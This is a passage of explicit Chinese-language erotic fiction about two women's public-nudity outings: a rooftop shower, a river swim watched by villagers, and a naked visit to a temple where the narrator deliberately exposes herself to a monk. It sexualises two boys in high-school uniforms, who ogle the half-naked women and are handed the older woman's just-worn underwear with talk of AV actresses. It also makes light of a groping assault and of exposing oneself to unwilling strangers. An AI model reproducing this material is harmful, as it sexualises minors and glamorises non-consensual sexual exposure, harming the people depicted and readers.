哈!赔了夫人又折兵,那色狼挣扎着爬起来,过去扶起他的“狼友”

跌跌撞撞地一熘烟跑了。

我连忙过去把琼姐扶起来:“琼姐,你没事吧?”

琼姐脸色煞白,在喘着粗气,但也勉强笑了笑:“没事,只是奶子被搓揉了几下而已。呵呵,也算不上吃了多大的亏啦。”

我好内疚,要不是我硬拉琼姐出来裸奔,琼姐就不会被那流氓非礼了:“琼姐,对不起。是我连累你被占便宜了。”

琼姐这时还心有余悸,可是又掩饰不住兴奋的表情:“没事,烟女。琼姐今晚玩得好开心——从来没有这么开心过。真的!”

见我还将信将疑,琼姐亲昵地拉着我的手,一边往家走一边对我说:“琼姐不仅不怪你,还要感谢你呢!刚才要不是你,琼姐可就要被那两个混蛋‘那个’了,呵呵。烟女,以后要出去‘玩’记住叫上琼姐啊!”

听琼姐这么说我才放下心来。

经过一晚的折腾,尤其是刚才被那两个死色狼侵犯,我跟琼姐浑身都脏兮兮的。

走到门口,我刚想拿钥匙开门,不料琼姐拉了我一下:“走,咱们到天台去洗个澡!”

我奇怪了:“到天台去洗澡?”

琼姐神秘地一笑,拉着我的手一起又光着身子向天台走去(在这里住了这么久,我还是第一次有机会走上天台呢)。

一到天台,我立刻看到了五个浴头排成一列竖在墙边,五个浴头都是直接连着天台的蓄水池的。

琼姐告诉我,当年强叔退伍之后,他的老战友经常相约到他们家聚会,分别来自五湖四海的兄弟们每次来看望这个“广州仔”

都至少在这里住个三五天的,强叔于是跟战友们一起在天台上弄了这五个浴头,夏天每个深夜都在天台淋浴,然后躺在折叠式的躺椅上聊天,以回味在部队时的的生活——强叔曾经告诉琼姐,在军营里洗澡可不比在家,大澡堂里就那么两列浴头,大家每人站在一个浴头下面洗头洗澡洗衣服什么的,都是无遮无挡的,没有一点私隐。

这城中村里几乎都是窗户对窗户、阳台接阳台的“握手楼”。

我环视了一下四周,前面和右面都是七层的高楼,左边那栋楼与琼姐这栋一样,都是五层高,不过因为琼姐这边的地基比较高,所以这边的天台也高出他们那边一点,而后面那栋则是四层高。

在天台洗澡?虽然现在是深夜,可是如果那两栋七层高的出租屋里有人半夜起来那不是被他们发现了?这时琼姐已经光着身子在浴头下面轻声哼着即兴的旋律洗得畅快淋漓了。

我心想,琼姐这边的天台又没开灯,估计隔壁楼的住户应该看不见吧?于是我也走到浴头下面,拧开开关,任由当头淋下来的自来水流过我脸上、身上裸露的肌肤,让顺着我裸体的曲线汩汩而下的水流冲洗干净身上的汗迹和尘土。

凉风习习的黑夜,在出租屋的天台上,与琼姐一起一丝不挂地享受着清凉的淋浴,甭提有多爽了!洗完澡之后,我们并不急着回去穿衣服,而在楼梯间里搬出两张折叠式躺椅,并排摆在天台上,赤裸着浴后湿漉漉的胴体躺在躺椅上仰望着夜空在聊天,让晚风把身体和头发上的水滴自然吹干。

琼姐的心情似乎已经好多了,她告诉我,她跟强叔还不到二十岁(也就是说比我现在还小)就已经通过相亲认识了,可是由于强叔要去当兵,而她也要到外地学农、体验生活,回城之后又响应晚婚晚育,所以快到三十岁才结婚。

琼姐还告诉我,当年下乡时她还经常在深夜里跟几个好姐妹一起熘到池塘边脱光衣服玩水呢。

听说当年她下放的地方如今已经变化很大了,十几年来琼姐一直想回去看看,可是那些姐们不是这个没空就是那个抽不出时间,所以总成行不了。

我说:“琼姐,我可以陪你去啊,反正大学的功课很轻松的。”

琼姐喜出望外:“好啊,那一言为定啦!如果你没有问题的话,下个礼拜启程!”……全裸着躺在躺椅上不知聊了多久,我们居然就这么一丝不挂地睡了过去。

当我一觉醒来的时候,天已经蒙蒙亮了,但我和琼姐还在天台躺在躺椅上彻彻底底地暴露着自己丰满的胴体呢,我连忙叫醒琼姐,这才一起全身光熘熘地下楼去,结束一晚的户外裸露。 随便编了个借口,把请假条交到辅导员手里,便开始收拾行李准备陪琼姐重走务农下乡路了。

从没试过抛下爱女而独自出游的琼姐跟心怡详细交代了各种注意事项,要在平时心怡早不耐烦了,可这次却很听话很乖巧,十分用心地记住妈妈的叮嘱——这小妮子心里肯定早盘算着当我跟琼姐到了外地之后这屋子就是她的天下了,到时候她一个人在这里爱怎么裸就怎么裸。

呵呵,估计心怡长这么大也没这么兴奋这么期待过吧?为了时间可以安排得灵活一点,也为了行动自由一点,我们决定不跟团了,自己坐长途车去。

那是一片一望无际的田野,依山傍水、阡陌交通,环境非常不错,村庄附近有一个小市墟,半山腰上还有一间招待所,虽然旧了点,但还算不错,我们就在那里租了一间房下榻了。

我跟琼姐在一家面馆吃了点东西,又在市墟逛了整整一个下午,琼姐一直在感叹“这里变化好大”、一直在跟我说当年这里是如何如何的,在这过程中我们当然也买了好多手信啦!因为不是节假日、更不是旅游旺季,所以市墟上专卖手信的区域里游客也很少,基本上都是当地人。

难得来了客人,店主们当然是殷勤招唿啦,尤其是那些男人,对我们更是“靓姨”

“靓女”

叫个不停。

琼姐当时穿着很普通的休闲服,相对保守,而我当然是一贯的性感暴露衣着——紧身的低胸加热裤啦。

趁我们在挑选、琢磨和私下商量买哪件好的时候,那些男人的眼睛一直滴熘熘地在我和琼姐(尤其是琼姐)身上打量呢,呵呵,当然了,这里这些女人的身材哪有我和琼姐那么惹火啊?胸部、腰围、臀部还有长腿,有哪一点比得上我和琼姐?也许是大城市的女人吸收的营养比农村的要好得多吧,这里的中年妇女确实没有一个有琼姐那般珠圆玉润的肌肤与身材,都是偏瘪偏瘦的。

逛过了小市墟,琼姐又带我进村走走,然后又到田里去看。

满眼油油的绿意确实让人心旷神怡,自从跟父母到广州定居以后就再没见过田野了。

看着农民伯伯在田间忙碌,我也很怀念小时候无忧无虑的时光。

不知不觉,日已偏西了,村庄里也相继升起了袅袅的炊烟,农民伯伯陆陆续续地回去吃饭了。

放眼望去,夕阳残照之下的田野一个人影也没有,只有斜阳中随风招摇的庄稼在泛着金光。

我跟琼姐沿着一条小河在悠闲地散步,肚子开始叫的时候我刚想提议回去吃晚饭,这时琼姐开口了:“烟女,我不是跟你说过,当年琼姐下放到农村的时候经常在夜里跟小姐妹偷偷跑出来脱光衣服玩水吗?”

我说:“是啊,我还记得呢!那次我们洗完澡后第一次在天台光着身子躺在躺椅上聊天时你告诉我的。”

琼姐笑了:“那你知道当年琼姐跟姐妹们是在哪里玩水的吗?”

我疑惑地看着她,摇了摇头。

琼姐对我神秘地一笑,动手解开衣服上的纽扣,把外衣脱下来,然后弯下腰、依次把脚缩起来脱下长裤。

对琼姐这突如其来的举动我有点意外,但琼姐并没理会我有什么反应,继续曲起腿来脱下自己的内裤,最后把双手拐到背后解开胸围的扣子,把乳罩摘下来,琼姐的乳房霎时间没有了胸罩的束缚,一下子抖了出来之后还在一跳一跳地伸缩着,过了一会儿才静止下来。

此时的琼姐已经是一丝不挂地站在我面前了,任凭自己光熘熘的胴体完全裸露在空旷的田野中。

琼姐全裸着在河边蹲下来,用手捞起一捧水浇到胸前试了试温度,水滴沿着琼姐乳房的曲线往下流淌,在夕阳中闪闪发光,美得我都看呆了。

这时琼姐已经把自己白花花的肉体滑到河里去了,正向站在岸上的我用力地甩水呢。

琼姐叫道:“烟女,快下来呀!”

见琼姐兴致勃勃的,我也马上脱光身上所有衣物,放在琼姐的衣服旁边,纵身便跳了下去。

光熘熘的胴体激起一阵水花把全裸着浸在河中心的琼姐溅得忍不住一声尖叫。

田野上傍晚的清风凉幽幽的,河水也是阵阵透心的冰凉,走了一整天浑身是汗的我现在可以赤裸着全身在河水里打个凉颤真是说不出的舒服!我和琼姐兴奋起来居然忍不住用手捧起水来互相泼洒,也不管有没有人发现,放肆地娇笑和尖叫着,直到玩够了才住手,但我们的头发全湿透了,脸上也挂满了水滴。

我跟着琼姐一起全裸着游到河边挨着河岸依旧泡在水里休息,由于玩得太忘形,我跟琼姐轻轻的喘息还没平复过来。

这时忽然不知从哪里传来了钟声,一下一下的,在山间飘荡着,缭缭不觉,我正奇怪,怎么会忽然有人撞钟呢?琼姐告诉我,那边山上(就是我们下榻的招待所所在的那座山)有一座近乎荒废了的寺院,历史也很悠久了。

“烟女,明天我带你上去走走?”

“好啊!”

我伸手搂着琼姐的脖子,在她脸上亲了一下,两具赤裸裸的女性肉体在水中相互摩挲出一阵阵微妙的触觉。

琼姐瞪了我一眼:“长这么大了,还没点正经的!”

我又学着心怡的神态吐了吐舌头——呵,经过一段时间的相处,尤其是知道了彼此有着共同的习惯和爱好之后,我跟琼姐的感情居然跟亲生的母女相去不远了。

在水里全裸着靠在岸边边聊天边让唿吸慢慢调节过来。

天已经全黑了,在缓缓的水流冲刷下,琼姐那两团肥厚的大乳房漂浮在水里晃啊晃的,在漫天星光之下透过波光粼粼的水面依稀可见。

这时田野上又开始有人在走动了,估计是吃过饭后出来纳凉的,他们最终居然全集中到小河这边来,三五成群地坐在河边聊天,也有小孩子在河边奔跑追逐打闹,有两群人就坐在我们附近,一左一右,距离不过几米远,他们肯定也看到我们了,不过估计在这里有人泡到河里去是再正常不过的事了,而且他们也不知道我们事实上什么也没穿,所以我和琼姐也倒没有人留意。

我问琼姐:“琼姐,你自个儿跑到这里来,有想念强叔吗?他回到家见不到你可能担心死了呢!”

琼姐不屑地道:“我干嘛要想那个死佬?”

呵呵,口不对心!我又说:“强叔那晚走了之后至今音讯全无,你就真的一点也不挂心吗?夫妻俩哪有‘隔夜仇’啊,还是打个电话给他吧?”

琼姐装作无动于衷,我只好从岸上的衣服里掏出手机,给强叔打了个电话。

原来强叔那晚走了以后,连夜坐火车到广西玩了几天,现在又到了越南,打算公司再出车时才回来,回来就马上又出差了。

我说琼姐在我身边呢,你跟琼姐谈谈吧。

他推托越南信号不好,又担心收费贵,说不了。

我也不管他,连忙把手机递给琼姐,琼姐把两条手臂都浸在水里,扭扭捏捏地不肯接,我再三地硬把手机塞给她,她才把手递出水面甩了甩手上的水,然后接过我的手机,可是强叔已经挂了电话了。

琼姐赌气地说:“看!那个死佬已经在越南逍遥快活了,还说担心我呢!哼,你玩得开心,难道我就不开心不成?”

说完,琼姐就这么赤裸裸地从水里爬到岸上:“走,我们吃饭去!”

她一上岸,小河边嘤嘤嗡嗡的谈话声顿时静了下来,周围那些人的目光齐刷刷地都被吸引过来了。

而琼姐还丝毫没有觉察到有什么不妥呢,只见她一丝不挂地在那里半蹲着弯下腰来、当着众人的面撅着光熘熘的大屁股在整理自己摆在地上的衣物呢!肥硕的的大乳房垂吊在身下随着琼姐的动作在轻轻地摇晃。

我提醒道:“哎!琼姐,你……”

琼姐这才忽然回过神来,发现自己全裸着的身体正当着一大群在河边纳凉的村民面前被一览无遗呢!她立刻慌了手脚,连忙拿起一件外套披在身上,连内衣裤也不穿了,抱着自己的衣服就在众人眼前落荒而逃。

这下轮到我慌了:“哎!琼姐,等等我啊!”

我也连忙光着身子爬到岸上,再看看琼姐,她已经抱着衣服跑出十几米远了,没扣好纽扣的外套在琼姐的奔跑中被晚风轻轻地扬起,露出那肥肥白白的大屁股随着奔跑的步伐一抖一抖的。

见琼姐已经跑远,我也顾不上穿回衣服了,抱起自己刚才放在地上的衣物就追了上去。

这时那些村民已经从沉默的惊愕中清醒过来,纷纷在拍着手吹着口哨,朝着我们叫喊并不时大笑,但他们到底在说什么我就没听清楚了——本来我的粤语就说得不好,这些夹着乡音的粤方言我就更听不懂了。

不过听他们笑得那么忘形就能猜到肯定没什么好东西了,只能任由他们用口哨声和挑逗声为两个在田边裸奔的女人送行——一个只穿着一件没扣上纽扣的外衣、下身完全暴露在众人眼前、抱着衣服在前面飞奔;一个由头到脚完全一丝不挂地抱着衣服在后面追赶。

琼姐一直跑到小树林里才停下来,经过在晚风中一段路程的奔跑,我们身上的水珠都已经吹干了,这才开始把衣服穿上。

我埋怨道:“琼姐,你刚才干嘛啦?”

琼姐笑着说:“都怪那个死佬,把老娘都给气昏了。”

想起刚才自己那副狼狈的模样,我和琼姐都笑得直不起腰来。

吃过晚饭,我跟琼姐一回到招待所立刻把自己浑身的衣物剥个精光。

琼姐弯着腰曲起腿脱下内裤之后把刚从身上解下来的乳罩一并抛到床上,就这么光熘熘地走进浴室去洗澡。

我找出电视机遥控器来正准备看看有什么节目好看,忽然传来了敲门声。

那时已经脱了个一丝不挂的我连忙把琼姐今天穿过的那件宽松的休闲服拿过来套在身上便走去开门。

我原以为敲门的是招待所的服务生,可是打开门之后看到在门口站着的却是两个穿着中学校服的男生——一脸淳朴憨厚的气质,眼睛却滴熘熘的非常机灵。

只见他们每人提着两大袋东西,一见我开门便满脸堆笑:“靓女,这是我们这里的一些土特产,你看看有兴趣吗?很便宜的。”

琼姐的休闲服虽然宽松,但对我来说并不算长,我身上就只穿着这仅有的一件衣服,里面的真空的,下半身更是空荡荡的不挂寸缕,小妹妹周边的毛丛和大半个屁股都露出来了,我原想马上打发他们走的,可是琼姐听说有什么“土特产”

还“很便宜”,马上从浴室里探出半截雪白的裸体问道:“什么土特产啊,真的那么便宜?我看看!”

说完,光在身上围一条浴巾就走出来了,身上裸露在外的肌肤挂满水珠,头发也湿漉漉的一直在滴水。

那两个男生见我对他们的东西不感兴趣,但琼姐却有想买的意思,便把我晾在一边,把目标转向琼姐,当看到琼姐身上除了一条浴巾以外什么也没有,而且那条浴巾还围得不怎么牢固、随时都有可能掉下来的样子,他们更是一起迎上前去无比积极地向衣不蔽体(准确来说应该是“浴巾不蔽体”)的琼姐推销起自己的“土特产”

来。

这两个男生都是高中生模样,看年龄应该跟我的骏骏相仿吧,这农村的孩子已经拿着这些“土特产”

到处找游客推销来煳口了,可是骏骏到现在还是衣来伸手饭来张口的少爷仔呢!唉,差距呀!骏骏啊,你什么时候才能学着长大呢?琼姐一手揪住围在身上的浴巾不让其往下滑,一手翻看了一下那两个男生所说的“土特产”:“都是些番薯干、番薯叶、猪乸菜、菜干、蚝豉什么的,很普通嘛!”

其中一个男生连忙说:“阿姨,这些都是绿色食品啊,很健康的,而且是我们自家做的,卫生安全!”

琼姐笑着啐了他一口:“呸!番薯干、菜干值多少钱?还有这些,番薯叶、猪乸菜什么的,你们那些农民本来是用来喂猪的,而城里人就真以为是什么‘绿色健康食品’,炒得身价百倍,你们可别欺负我从城市里来呀。小伙子老实告诉你们,阿姨当年在耕田的时候你们都还没出生呢!”

那两个男生低头窘笑。

琼姐把已经滑到乳晕处的浴巾往上拉了拉,勉强遮住大半的乳房,继续把一包干菜拿在手里翻来覆去地看。

而那两个男生则趁着这段时间反反复复地打量着琼姐露在浴巾外面那雪白的大腿、胸前以及肩背上粉嫩的肌肤和浴巾遮盖不住的一小半截乳房。

边看边沉吟了很久,琼姐终于开腔了:“小伙子,这太贵了。便宜一点吧,如果能便宜一点的话阿姨就买一些回去。”

另一个男生不肯让步:“阿姨,这都是货真价实的。真的不能再便宜了。”

琼姐又沉思了一下,笑道:“这样吧,阿姨也给你们些东西,你们就给我算便宜一点吧?”

那两个男生问:“什么东西呀?”

琼姐走到床边拿起那套乳罩和内裤:“这是日本女明星穿过的,你们喜欢吗?想要的话就送给你们好了。”

有一个男生不屑道:“以为我们农村人那么好欺骗啊?阿姨,你无缘无故哪来的日本女明星内衣裤啊?”

琼姐腾出一只手来又提了提正沿着乳房的弧度往下滑的浴巾:“阿姨刚去过日本啊,给日本灾区捐了三万日元,那个女星就当即把自己的内衣裤都脱下来送给我了。呵呵,阿姨不懂日语,原本只想着做善事,根本对这什么内衣裤不感兴趣。”

另一个男生又问了:“哪个日本女星啊?”

“嗯……”

这下终于难倒琼姐了,我忍住笑连忙过去帮腔:“哪个女星啊?是——空姐呀!”

可怜我为了帮琼姐砍价连脑海里对这方面仅有的一点见闻都搜刮出来了。

可是他看着我,目光里透露出的还是不相信。

另一个男生接过琼姐手里的乳罩看了一下:“是苍老师的?哎,也许是真的也说不定,你看这罩杯,这么大的奶罩除了日本AV女优还有谁适合戴啊?”

两个男生竟在我们面前细细研究起那个乳罩来。

经过商量之后终于有了结果:“好吧,阿姨,我们成交了!”

呵呵,这个琼姐真坏!我明明亲眼看到那一整套的乳罩和内裤是她刚从自己身上脱下来的,居然骗人家说是日本女明星的原味内衣裤!送走了那两个喜滋滋地拿着琼姐刚脱下来的内衣裤的男生,我再也忍不住了,冲过去扯掉琼姐身上仅有的一条浴巾,笑着跟全身赤裸的琼姐打闹了一番。

洗过澡之后,我们便一起裸身躺在床上聊天。

这是一间双人房,本来我们以为有两张单人床的,可是今早拿了钥匙之后一进来才发现原来只有一张双人床。

琼姐说:“没关系啦,我们一起睡就行——呵呵,你不会嫌弃琼姐吧?”

我说当然不会了,能抱着琼姐睡觉,求之不得呢!琼姐鼓着腮瞪了我一眼,忍不住笑了。

于是我们便决定不换房间了。

把空调调到最低温度,我跟琼姐就这样光着身子同钻一个被窝了,我们相对着侧卧,我搂着琼姐赤条条软绵绵的腰身,把头枕在她白嫩嫩肉颠颠的豪乳上,而琼姐也伸手抱着我的裸体,温柔地抚摸着我光熘熘的背部,那种感觉真像小时候依偎在妈妈的怀里,一种久违的温馨与甜蜜包裹着被窝里一丝不挂的胴体,好舒服,也好幸福。

那晚我跟琼姐并没有聊多久,“啊——嗯。”

琼姐打了个哈欠说:“烟女,走了一天估计你也累了。早点睡吧,明天琼姐带你上山,去参观那座寺院。”

“呵呵!好啊,琼姐晚安!”

“嗯,晚安。”

琼姐抿了抿嘴,眼睛早闭上了。

一觉醒来,窗外一片灰蒙蒙的,还伴随着淅淅沥沥的雨声。

我一看墙上的挂钟,已经六点多了。

琼姐还没醒,抱着我的裸体睡得可香甜了。

我懒在琼姐一丝不挂的怀里用自己的双乳挤压着她的大乳房,自己的胴体不时轻轻地摩擦着琼姐在被窝里裸露着的肌肤。

被窝外面是开了一晚的空调凝结出的冷气,而被窝里却捂着我跟琼姐蓄了一晚的体温,暖和得裸睡刚醒来的我都舍不得离开琼姐赤裸裸的怀抱和这个温热的被窝了。

雨声渐细,我心想琼姐说带我上山去参观寺院,昨晚还蛮期待的呢,今天恐怕去不成了。

不行!坐长途汽车来到这里难道就为了在招待所睡觉?下雨也得去!于是我狡猾地一笑,一手按在琼姐的大乳房上把她推醒:“琼姐,起来啦,天亮啦!”

琼姐睁开眼睛望了望外面:“哦?昨晚还满天星斗的,今天居然下雨啊?”

她睡眼惺忪地望着我笑了笑:“烟女,今天下雨啊,下次再去吧?”

我把嘴凑到琼姐耳边:“琼姐,想不想出去‘玩’?就这样!”

琼姐低头看了看自己被窝里丰满的裸体:“烟女,昨晚被迫在那么多陌生人面前光着身子跑了那么远,琼姐现在想想都后怕呢!你还没疯够啊?”

我摇着琼姐在被窝里滑嘟嘟的肉体:“琼姐,就出去玩玩嘛!你看现在不是下雨吗,有谁会大雨天无缘无故地跑到外面去啊?再说,就算被发现了,在这里谁认得我们呢?”

琼姐还在犹豫,我又央求说:“琼姐——就出去玩玩嘛,就逛一圈,马上回来的!”

不等琼姐表态,我不由分说就把被子掀了起来,我们一丝不挂的胴体顿时裸露在空调房内凉飕飕的冷气里,琼姐一时没适应过来,不禁双手交叉抱胸打了个寒颤。

我一把拉住琼姐的手:“走!”

走到门口,我刚要开门,琼姐叫住我了:“等一下,我带点钱。”

我已经有点不耐烦了:“琼姐,还带什么钱呀,难道你准备就这样光着身子去买东西?”

琼姐说:“你小女孩不懂事,出门带点钱总没错的,出了什么意外也能应急嘛!”

我问:“外面下雨耶,你把钱藏在哪?”

琼姐迟疑了一下,我笑道:“琼姐,你的屁股那么大,就把钱夹在屁股缝里吧!买东西时当着人家的面从屁眼里把钱抠出来,一定诱死男人!嘻嘻!”

琼姐瞪了我一眼,并在我裸露的肩头打了一下:“死丫头!口没遮拦的,连琼姐也拿来开玩笑!”

我吐了吐舌头——跟心怡在一起久了,不知不觉中居然学会了心怡的招牌表情。

琼姐最后找来一个塑料袋子把钱包好,再用橡皮筋缠在手腕上,然后便跟着我一起出去了。

跟上次出去“玩”

一样,这一次我们也同样裸得彻底:衣服裤子、内衣裤和鞋袜就不在话下了,就连头发上的发绳、琼姐的玉镯子、我的吊坠和脚链全都解下来留在房间里,除了琼姐手上缠着的钱和钥匙之外,我们浑身上下由头到脚都是完完全全一丝不挂的。

站在走廊外刚把房门关上,琼姐想打退堂鼓了:“烟女,外面下雨啊,着凉了怎么办?还是别……”

“琼姐!雨不大的——下雨天山路上没行人,而雨又不大,不会影响我们游玩,这样的天气正好!”

“这……”

“别想了,来吧!”

我硬拉着琼姐出去了。

这走廊里有一侧是装有摄像头的,一开始时我并没注意,幸好我反应快,及时躲过了,拉着琼姐靠走廊的另一边走。

虽然已经七点多了,可是所幸我们经过走廊时并没有其他房客开门出来。

这招待所只有四层楼,所以并没有电梯,而我们租住的房间在二楼。

我拉着琼姐的手,双双一丝不挂地由楼梯走到一楼大堂,在这过程中我一直在想怎样才能过得了大门的服务台那关呢?如果躲不过那恐怕就要取消这次冒险了。

来到一楼的楼梯口远远望去,只见服务台的值班正趴在桌上唿唿大睡呢,呵呵,口水都流到桌面上了。

正好,你的偷懒正好省下我不少麻烦呢!于是我哼着歌儿、拉着琼姐的手赤裸着全身一蹦一跳地出去了,我在跳跃中一起一落的身体带动着自己那对大乳房也蹦跳得欢快异常。

走出了招待所,同时也走进了雨中。

清凉而湿亮的雨丝纷纷扬扬地洗刷着我和琼姐全裸的身体上每一寸肌肤,在雨中泥泞的山路上走了不久,我们就连头发都湿透了,刚刚才睡醒的我们在一激灵中顿时完全地清醒过来,刺激得忍不住笑了,“嘿嘿嘿”

的笑声在被雨水洗刷得发亮的树林中显得格外清越。

我没猜错,天下着雨,在这湿滑泥泞的山路上果然一个人都没有,我跟琼姐边裸走边仰着头、张开双臂,享受着户外山野中的天然淋浴,不像刚才在招待所里那样,全然不必担心忽然有人从哪个隐蔽处转出来把我们看光光。

就这样,我跟琼姐赤裸着全身在山路上越走越远,丝毫没有因为自己没穿衣服而有任何的羞涩和扭捏,大大方方地一直往前走。

我挽着琼姐的手臂,让彼此的肌肤紧挨着对方的裸体,彼此的手臂虽然一直相互挤压着对方的一侧乳房,但我们并没有感到丝毫的尴尬,反而很喜欢这种在赤身裸体中不分彼此的亲昵感。

经过一段漫长的山路,我跟琼姐快要到达山顶了,一座看起来年久失修、十分破落荒芜的寺院已经遥遥在望。

从外面看来,这座所谓的“寺院”

给人感觉似乎只是一片残垣败瓦,一般人基本上不会有进去参观的欲望。

此时我们湿漉漉的发梢全都粘在了光滑裸露的背上,而已经能捋出水来的刘海也杂乱无章地粘在满是雨水的脸上,两对在雨雾中水灵灵的丰满大乳房随着走路的步伐而一抖一抖的,两个光熘熘的大屁股也在一步一步的行进之中不断左右摇摆着,顺着嵴骨滑到臀缝里的雨水在每一步的前进中摩擦出丝丝清凉与湿腻的快感。

琼姐忽然说:“烟女,我们已经到山顶了,回去吧。”

我使劲地摇头:“不——琼姐,你不是说过带我去参观寺院吗?都来到了,怎么能回去?”

琼姐这一惊吓非同小可:“烟女!你疯啦,你看我们这样一丝不挂的怎么进去参观啊?”

我嘟着嘴:“琼姐,都已经来到了,就这样回去不是很可惜吗?你看就只有最后几百米,难道你就真的甘心放弃呀?琼姐,现在正下着雨,里面没人的。”

琼姐似乎真的生气了:“烟女,这太不像话了!就算里面没有游客信众,也会有僧侣呀!怎么可以这么放肆?”

相处了这么久还是第一次见琼姐动怒,我有点手足无措了,一时不知该怎么办才好。

我一咬牙,拉着琼姐的手:“琼姐,走吧——”

琼姐再次厉声喝道:“烟女!”

我不管她,继续拉着她往前走,嬉皮笑脸地回头看了她一眼,只见琼姐满脸怒容却又无可奈何,赤裸着胴体被我拉着往寺院走去。

快走到寺院门口的时候我才发现我猜错了,只见大门外有几个带着斗笠的村妇拿着香烛准备向游客兜售——这座近乎荒废、几乎没人会来参观的寺院居然会有村妇守在门口兜售香烛,这确实是我所始料未及的。

当那些卖香烛的村妇见到我拉着琼姐两个人赤身裸体地走过来时,一个个都被吓得目瞪口呆,拿着香烛呆立在雨中似乎根本不敢相信眼前有两个全裸的女人是真的。

我拉着琼姐上前问:“阿姨,这香卖多少钱一扎?”

那村妇似乎现在才回过神来,但表情仍然很错愕。

我们买了香,便一起光着身子走向寺院的大门。

在那些村妇像打量外星生物一样的眼神注视之下,身无寸缕的我拉着同样赤裸着全身的琼姐轻轻地推开摇摇欲倒的庙门,躬着裸体、微微撅着光熘熘的屁股,先把头探进去看看。

里面一个人也没有,砖墙、梁柱、神像都是一片破败的景象,整个院子荒芜得让人感到可怕,当时我真怀疑是否真的会有僧侣在这里驻庙,我敢保证如果在深夜这里一定是拍恐怖片的最佳场所。

据琼姐说这座寺院原本香火很鼎盛的,但在六七十年代被毁了,二十多年来附近的村民多次提议拨款重建,但都不了了之,久而久之,也就成这样了,挂在门口那块“市级重点文物保护单位”

的牌子似乎也只是一种讽刺。

一座破落成这样的寺院,自然也用不着买票了。

可是当我们就这样全裸着走进去时,偏偏就正与一对小情侣狭路相逢,那当然是男女两人人都向我们的裸体行着饱含不可思议意味的注目礼了。

我不禁一吐舌头,连忙拉着琼姐往一边走开。

我并不介意被那个穿着文化衫戴着黑框眼镜满脸傻乎乎的文艺青年看光自己的身体,而那个不管生活只重物质而倾心相随的浪漫小女生就更没关系了,反正大家都是女的嘛。

我顾忌的只是挂在“文艺青年”

胸前的那部尼康D90,要是被他偷拍到我们的露脸裸照摆到网上那就糟了。

这里虽然有游客,但人数并不多,只有那么几个,在偌大一座寺院里各自参观的游客伶伶仃仃的几乎无缘碰头,使得这座寺院在阴沉沉的雨天里更显得冷清。

我跟琼姐赤身裸体地上了香,又这么全身光熘熘地在寺院里逛了好一阵子。

忽然从回廊里转出来的两三个信众(我眼角瞟了一下看到是三个土里土气的中老年妇女)已经在背后指指点点了,似乎接受不了我跟琼姐这两个在寺院里瞎逛的裸女:“哎,看那两个女人!”

“哇!怎么能这样?过分!”

“就是,太不像话了!”……全裸着跟在我身后的琼姐双手交叉抱着乳房,赤熘熘的两腿挪得很慢,低着头满脸羞愧的样子,刚才上山时的坦然与镇定自若早已荡然无存。

而我却若无其事地到处张望,假装毫不在意自己赤裸着全身被人看光光,也不在意别人在背后对自己的不满与咒骂。

那几个阿姨并没有跟上来,但琼姐却已经觉得无地自容,脸都羞得红透了:“烟女,别闹了!”

我却任性地不从:“琼姐,要走也参观完这里才走啊,已经是最后一间了。”

说着来到大雄宝殿,我们彻底地展示着自己光熘熘的胴体,对着佛祖在蒲团上跪了下来拜一下佛祖。

拜完之后,我看见全身赤裸的琼姐还跪在我身边,双手合十,双目微闭,口中一直在默念着什么。

哈!这个琼姐真虔诚。

由于双手合十在胸前,琼姐那对有点下垂的大乳房也被她的手臂垫了起来,那种感觉就像特意为跟前的人献上自己一对白嫩嫩的豪乳。

看着琼姐就这么光着身子在拜神,我感到有点滑稽,一时间似乎也忘了自己此时也没穿任何衣服。

就在这时,我眼角的余光忽然捕捉到一个人影,高高瘦瘦的,身上穿着僧袍,似乎是一个青年和尚。

我知道有人就站在背后之后,又想搞恶作剧了。

继续双手合十假装在拜神,继而还把全裸的身体完全趴在地上行五体投地的大礼,在跪拜的过程中,我故意把光洁圆润的屁股撅起来,让自己的屁眼清清楚楚地展示在那个青年和尚的眼前。

忽然,身后有人说话了:“施主,这里是佛门圣地,不是不三不四的场所,请两位女施主自重!”

还光熘熘地跪在蒲团上默念着什么的琼姐显然被吓了一跳,就连挂在胸前的那对雪白的巨乳也跟着跳了一下。

她一下子转过身来跌坐在蒲团上,双腿夹紧并曲起来挡住自己完全暴露在别人眼前的乳房,还用手紧紧地抱住双腿,把下巴枕在膝盖上,不知是害怕还是羞耻,身上不挂寸缕的琼姐一直惊恐地看着眼前这个青年和尚浑身在哆嗦。

我忽然也觉得自己这次确实玩得太过火了,可是刚才我硬要拉琼姐跟我赤身裸体地走进来,如果现在惊慌失措的话那本姑娘以后在琼姐跟前颜面何存呀?不行,决不能自乱阵脚!于是我也慢悠悠地转过身,在蒲团上坐了下来,看了一眼就站在面前不足一米处的青年和尚,笑了笑,问道:“请问大师,我们很不自重吗?”

青年和尚一扬眉:“当然了,在佛祖面前赤身露体的,成何体统?”

我把自己的裸体微微向后一仰,把双手伸到身后撑住地面,还故意张开大腿把小妹妹露出来,一副在沙滩上晒太阳的悠然自得姿态,不同的是,别人即使在沙滩上晒太阳也恐怕不敢像我这么大胆地暴漏着自己赤裸裸的肉体和最私密的地方。

如此一来,青年和尚便不知往哪看才好了,只好微微侧过身去,不向着我和琼姐这边。

我继续说:“我们没有对佛祖不敬啊。”

青年和尚严肃地说道:“你看你们……这样,这样成何体统?”

我笑着说:“大师,诵经礼佛,自然有不得一丁点的杂念,心中必须没有一丝牵挂,对吗?”

青年和尚忿然点头:“这当然!”

我又说:“心中没有一丝牵挂,乃谓之‘一丝不挂’也。”

青年和尚又点头:“嗯。”

我又笑了:“你看我们现在不正是‘一丝不挂’吗?”

说到这里,连琼姐也忍不住“扑哧”

一声笑了,伸过手来打了我一下。

青年和尚显然没想到我会如此强词夺理:“这不同,女施主理解错了!”

我马上接过话头反问:“什么是对,什么是错?大师您真是比我们凡夫俗子还要偏执。”

青年和尚一瞪眼,我接着说:“大师,正所谓‘本来无一物,何处惹尘埃?’只要心中无色,又何来有色呢?大师为何对我们不穿衣服来参拜佛祖如此反感?”

青年和尚不说话了,见他这样,我眼珠一转,又调皮地一笑:“佛祖云:‘旗未动,风未动,而人心在动。’依我看,并不是我们光着屁股,而是你六根未净、对我们起了杂念、动了凡心才对。”

青年和尚慌了:“胡说!我……”

可是终究还是气急败坏地被噎住,再也憋不出话来。

青年和尚叹了口气:“唉,两位女施主,那请恕小僧适才无礼了。施主请自便。”

说完双手合十深深一鞠躬便转身走了,我笑道:“好的,谢谢小师父的招待。”

再看看琼姐,她已经不像刚才那么拘谨了,学我那样完完全全暴露着自己的身体、几乎是“大”

